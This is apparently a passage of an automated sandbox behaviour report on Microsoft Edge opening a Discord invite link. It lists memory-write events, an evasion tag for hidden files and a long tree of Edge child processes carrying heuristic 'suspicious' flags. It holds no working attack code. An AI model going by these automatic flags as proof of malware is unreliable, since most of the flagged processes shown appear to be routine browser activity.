PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 244	1192	msedge.exe	80
PID 1192 wrote to memory of 244	1192	msedge.exe	80
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81
PID 1192 wrote to memory of 2032	1192	msedge.exe	81

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5500	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://discord.gg/crystalud
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa1e2e3cb8,0x7ffa1e2e3cc8,0x7ffa1e2e3cd8
  2⤵
  PID:3464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2000 /prefetch:2
  2⤵
  PID:4056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2608 /prefetch:8
  2⤵
  PID:2032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:2440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
  2⤵
  PID:2764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5044 /prefetch:1
  2⤵
  PID:1544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5292 /prefetch:8
  2⤵
  PID:2036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5244 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:3596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4588 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3184
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5856 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5128 /prefetch:1
  2⤵
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5888 /prefetch:1
  2⤵
  PID:4468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
  2⤵
  PID:4512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5556 /prefetch:1
  2⤵
  PID:1240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5440 /prefetch:1
  2⤵
  PID:1204
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1836 /prefetch:1
  2⤵
  PID:3780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4548 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2480 /prefetch:1
  2⤵
  PID:4896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
  2⤵
  PID:4988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6292 /prefetch:1
  2⤵
  PID:2436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2484 /prefetch:1
  2⤵
  PID:1588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5980 /prefetch:1
  2⤵
  PID:3628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5132 /prefetch:1
  2⤵
  PID:1212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5252 /prefetch:1
  2⤵
  PID:1852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6560 /prefetch:1
  2⤵
  PID:3364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5932 /prefetch:1
  2⤵
  PID:2932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1828 /prefetch:1
  2⤵
  PID:448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3032 /prefetch:1
  2⤵
  PID:4300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6708 /prefetch:1
  2⤵
  PID:3164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6080 /prefetch:1
  2⤵
  PID:1248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6076 /prefetch:1
  2⤵
  PID:3312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5308 /prefetch:1
  2⤵
  PID:3228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6188 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:2196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7196 /prefetch:1
  2⤵
  PID:2392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
  2⤵
  PID:1172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7372 /prefetch:1
  2⤵
  PID:1496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1840 /prefetch:1
  2⤵
  PID:1684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
  2⤵
  PID:4188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7800 /prefetch:1
  2⤵
  PID:4208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7148 /prefetch:1
  2⤵
  PID:4700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1828 /prefetch:1
  2⤵
  PID:2356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7868 /prefetch:1
  2⤵
  PID:2128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8060 /prefetch:1
  2⤵
  PID:1316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7140 /prefetch:1
  2⤵
  PID:1936
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6748 /prefetch:1
  2⤵
  PID:3796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7924 /prefetch:1
  2⤵
  PID:2092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7296 /prefetch:1
  2⤵
  PID:4296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7808 /prefetch:1
  2⤵
  PID:988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7304 /prefetch:1
  2⤵
  PID:3808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4832 /prefetch:1
  2⤵
  PID:1556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7992 /prefetch:1
  2⤵
  PID:1700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7164 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:2740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6972 /prefetch:1
  2⤵
  PID:1048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7828 /prefetch:1
  2⤵
  PID:3756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
